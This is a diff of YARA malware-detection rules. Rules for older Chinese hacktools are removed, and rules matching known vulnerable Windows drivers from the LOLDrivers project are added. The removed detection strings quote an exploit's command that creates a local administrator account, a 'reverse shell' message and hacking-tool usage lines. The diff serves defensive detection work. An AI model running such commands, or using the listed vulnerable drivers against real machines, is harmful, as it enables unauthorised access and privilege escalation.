-		logic_hash = "eb0a425be0fff87eb58689a4eee4b6729e8ee985e6224790111322d4b182caf1"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HWiNFO32.SYS"
+		author = "Florian Roth"
+		id = "a77a77da-6373-5298-86c3-88503aa6a7e5"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10416-L10435"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ec9bd7fb90c3a2aa4605bd73fe1f74399e2cda75fd4c5fff84660ad4f797c4fe"
+		logic_hash = "e16906686623895cf9d6e3c58701f32d44b50b1fe85b95dcf3a8978a62f06a3c"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "SHELL" ascii
-		$s2 = "PacketSendPacket" fullword ascii
-		$s3 = "ArpSniff" ascii
-		$s4 = "pcap_loop" fullword ascii
-		$s5 = "packet.dll" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570069004e0046004f003300320020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200450041004c0069005800280074006d0029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0038002e003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0038002e00300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800570069004e0046004f003300320020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290031003900390039002d00320030003100310020004d0061007200740069006e0020004d0061006c00ed006b0020002d0020005200450041004c00690058 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <120KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Pw_Inspector_2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_D7C7 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file pw-inspector.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "795c7009-93a8-57c4-8554-f0ed5c1d50f8"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1508-L1524"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e0a1117ee4a29bb4cf43e3a80fb9eaa63bb377bf"
-		logic_hash = "7d2021ff471f03deb9e6d8b62fcb218ae3198f21fd7b8fa1fdd9b96228b8c2f8"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sandra.sys"
+		author = "Florian Roth"
+		id = "37c763dd-7375-518a-afc8-d3ca5623987e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10438-L10457"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "d7c79238f862b471740aff4cc3982658d1339795e9ec884a8921efe2e547d7c3"
+		logic_hash = "146b74a7750951a07d2e8b64d25e0c0371fc6295b2ee843cf6a7d67c272555a7"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Use for hacking: trim your dictionary file to the pw requirements of the target." fullword ascii
-		$s2 = "Syntax: %s [-i FILE] [-o FILE] [-m MINLEN] [-M MAXLEN] [-c MINSETS] -l -u -n -p " ascii
-		$s3 = "PW-Inspector" fullword ascii
-		$s4 = "i:o:m:M:c:lunps" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e0064007200610020004400650076006900630065002000440072006900760065007200200028007800380036002900280055006e00690063006f006400650029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310035002e00310038002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310035002e00310038002e0031002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d00500072006500730065006e0074002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Datpcshare : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorporation_Nvflash_Nvidiaflashdriver_AFDD : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file datPcShare.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1bf44c0d-6aa7-5486-baee-c17d3e82403f"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1526-L1542"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "87acb649ab0d33c62e27ea83241caa43144fc1c4"
-		logic_hash = "15297a8019192371032fc11b966d1a89d951c176da6d64e80ca5a201f55341c0"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvflash.sys"
+		author = "Florian Roth"
+		id = "f8e2c69d-d3fb-58f8-bc03-3ad5ce67f0bf"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10460-L10479"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "afdd66562dea51001c3a9de300f91fc3eb965d6848dfce92ccb9b75853e02508"
+		logic_hash = "f23537a1efc5e13efb9e145d6c04bb21c3dc7cd49d1913755528f08b94c316ac"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "PcShare.EXE" fullword wide
-		$s2 = "MZKERNEL32.DLL" fullword ascii
-		$s3 = "PcShare" fullword wide
-		$s4 = "QQ:4564405" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e0056004900440049004100200046006c0061007300680020004400720069007600650072002c002000560065007200730069006f006e00200031002e0038002e0030 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056004900440049004100200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0038002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0038002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e00760066006c006100730068 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e0056004900440049004100200046006c0061007300680020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00760066006c006100730068002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]002800430029002000320030003100370020004e0056004900440049004100200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Tools_Xport : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_F85E : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file xport.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3223fe5b-6135-5530-a5eb-10c44f3f6277"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1544-L1565"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9584de562e7f8185f721e94ee3cceac60db26dda"
-		logic_hash = "9eea73732643f74b4802af0672f5c3ab09cc54cfecd80f8903efc26b7ceaec29"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "43ea92d7-a820-5ccc-b37f-05b96ead1246"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10482-L10501"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f85eb576acb5db0d2f48e5f09a7244165a876fa1ca8697ebb773e4d7071d4439"
+		logic_hash = "71bef9b60efad8f7bc149d93b94c37e59fd42f01ee01d7964c39ef0d79b997e0"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Match operate system failed, 0x%00004X:%u:%d(Window:TTL:DF)" fullword ascii
-		$s2 = "Example: xport www.xxx.com 80 -m syn" fullword ascii
-		$s3 = "%s - command line port scanner" fullword ascii
-		$s4 = "xport 192.168.1.1 1-1024 -t 200 -v" fullword ascii
-		$s5 = "Usage: xport <Host> <Ports Scope> [Options]" fullword ascii
-		$s6 = ".\\port.ini" fullword ascii
-		$s7 = "Port scan complete, total %d port, %d port is opened, use %d ms." fullword ascii
-		$s8 = "Code by glacier <glacier@xfocus.org>" fullword ascii
-		$s9 = "http://www.xfocus.org" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200034 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Pc_Xai : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Vektortsecurityservice_Vboxdrv_Antidetectpublicbyvektortrev_26F4 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file xai.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "dcf1b57b-3616-5198-bd57-18505fee91ae"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1567-L1586"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f285a59fd931ce137c08bd1f0dae858cc2486491"
-		logic_hash = "80659fcf1721b20f459ac0480401bdf643c95b46118d03320bc6d4e4ee4b67f7"
-		score = 75
-		quality = 60
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
+		author = "Florian Roth"
+		id = "1ee8489d-ef29-5d5b-80f5-8f0a206eda3f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10504-L10523"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "26f41e4268be59f5de07552b51fa52d18d88be94f8895eb4a16de0f3940cf712"
+		logic_hash = "913dc412be3eaa31903d3fac94e07174789bb746bb382a5f1c08fea50541f6c6"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Powered by CoolDiyer @ C.Rufus Security Team 05/19/2008  http://www.xcodez.com/" fullword wide
-		$s2 = "%SystemRoot%\\System32\\" ascii
-		$s3 = "%APPDATA%\\" ascii
-		$s4 = "---- C.Rufus Security Team ----" fullword wide
-		$s5 = "www.snzzkz.com" fullword wide
-		$s6 = "%CommonProgramFiles%\\" ascii
-		$s7 = "GetRand.dll" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00560065006b0074006f0072002000540031003300200053006500630075007200690074007900200053006500720076006900630065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e003100310039003200330030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e003100310039003200330030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006e00740069006400650074006500630074002000320030003100380020005000750062006c00690063002000620079002000560065006b0074006f0072002000540031003300200028007200650076002e003000350029 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002d00320030003100380020004f007200610063006c006500200043006f00720070006f0072006100740069006f006e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and all of them
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Radmin_Hash : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_3C42 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file Radmin_Hash.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "07761e81-15b4-5639-b766-8dc3f16e2b7a"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1588-L1605"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "be407bd5bf5bcd51d38d1308e17a1731cd52f66b"
-		logic_hash = "d6ee13a2ed30bb44471593386521f67be0d6ccd6f8a0ebf8557012a099f81d3d"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "e4c649d8-941e-57d8-9193-a7e5c3de4671"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10526-L10545"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3c4207c90c97733fae2a08679d63fbbe94dfcf96fdfdf88406aa7ab3f80ea78f"
+		logic_hash = "b3e67939d8f6e6121c3d36dfe5ccb01c9cd2a2d5488053a9834c7cb147ac250e"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<description>IEBars</description>" fullword ascii
-		$s2 = "PECompact2" fullword ascii
-		$s3 = "Radmin, Remote Administrator" fullword wide
-		$s4 = "Radmin 3.0 Hash " fullword wide
-		$s5 = "HASH1.0" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100320038 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and all of them
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Oseditor : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Asustekcomputerinc_Atsziosys_Atsziodriver_55A1 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file OSEditor.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b308852c-3436-5748-9ba6-82d4c3c5fc14"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1607-L1624"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6773c3c6575cf9cfedbb772f3476bb999d09403d"
-		logic_hash = "6531c0b3c0f6123d9eda34ed028f05054e4805e5c329da4b29e4f37f9b5fc1b2"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
+		author = "Florian Roth"
+		id = "3bd64a09-bfa9-5b87-8048-60e61c1a61f7"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10548-L10568"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "55a1535e173c998fbbc978009b02d36ca0c737340d84ac2a8da73dfc2f450ef9"
+		hash = "c64d4ac416363c7a1aa828929544d1c1d78cf032b39769943b851cfc4c0faafc"
+		logic_hash = "a6c5fd6c88e08f663479840ae853a0dd22427d0059f0c6aa961dcc1a395dacce"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "OSEditor.exe" fullword wide
-		$s2 = "netsafe" wide
-		$s3 = "OSC Editor" fullword wide
-		$s4 = "GIF89" ascii
-		$s5 = "Unlock" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065006b00200043006f006d0070007500740065007200200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002e0032002e0031002e0036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002e0032002e0031002e0036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032 }
 
 	condition:
 		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Goodtoolset_Ms11011 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Sbiosiosys_Samsungrbiosiodriver_B3D1 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file ms11011.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "689b7ea3-6707-5f99-8232-438d903d414d"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1626-L1642"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5ad7a4962acbb6b0e3b73d77385eb91feb88b386"
-		logic_hash = "99dd27eba7da44c71098446e17abfe626de91e899e28c2d2e99e7b54b9e0c825"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SBIOSIO64.sys"
+		author = "Florian Roth"
+		id = "d2eed5da-ca7c-5ae3-ab44-2a49f43ec409"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10571-L10591"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "b3d1bdd4ad819b99870b6e2ed3527dfc0e3ce27b929ad64382b9c3d4e332315c"
+		hash = "442d506c1ac1f48f6224f0cdd64590779aee9c88bdda2f2cc3169b862cba1243"
+		logic_hash = "5bcc568a4f4edc03e51801c4b256b34ed7f7ae08b7e00ca3f4bd7559502e3c76"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\\i386\\Hello.pdb" ascii
-		$s1 = "OS not supported." fullword ascii
-		$s3 = "Not supported." fullword wide
-		$s4 = "SystemDefaultEUDCFont" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300420049004f00530049004f0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031002e0030003000300030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0031002e0030003000300030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]005300420049004f00530049004f00360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530061006d00730075006e00670020002800520029002000420049004f005300200049004f0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005300420049004f00530049004f00360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000530061006d00730075006e006700200045006c0065006300740072006f006e006900630073002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
 		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Freeversion_Release : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_1AAF : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file release.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1a603634-a00a-5f8b-a47d-c3c8065a5c3e"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1644-L1662"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f42e4b5748e92f7a450eb49fc89d6859f4afcebb"
-		logic_hash = "38722afb3b955aced2e68e2048a3268722524f61784dcb45c6a695b5684230eb"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sandra.sys"
+		author = "Florian Roth"
+		id = "9fc423bb-451b-52e8-ba81-7113cd1621c8"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10594-L10613"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1aaf4c1e3cb6774857e2eef27c17e68dc1ae577112e4769665f516c2e8c4e27b"
+		logic_hash = "e441204be274ce4379526096008b545e2a53b11c26c270c2df0c1f70b98d1e57"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "-->Got WMI process Pid: %d " ascii
-		$s2 = "This exploit will execute \"net user " ascii
-		$s3 = "net user temp 123456 /add & net localgroup administrators temp /add" fullword ascii
-		$s4 = "Running reverse shell" ascii
-		$s5 = "wmiprvse.exe" fullword ascii
-		$s6 = "SELECT * FROM IIsWebInfo" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e00310031002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e00310031002e0031002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
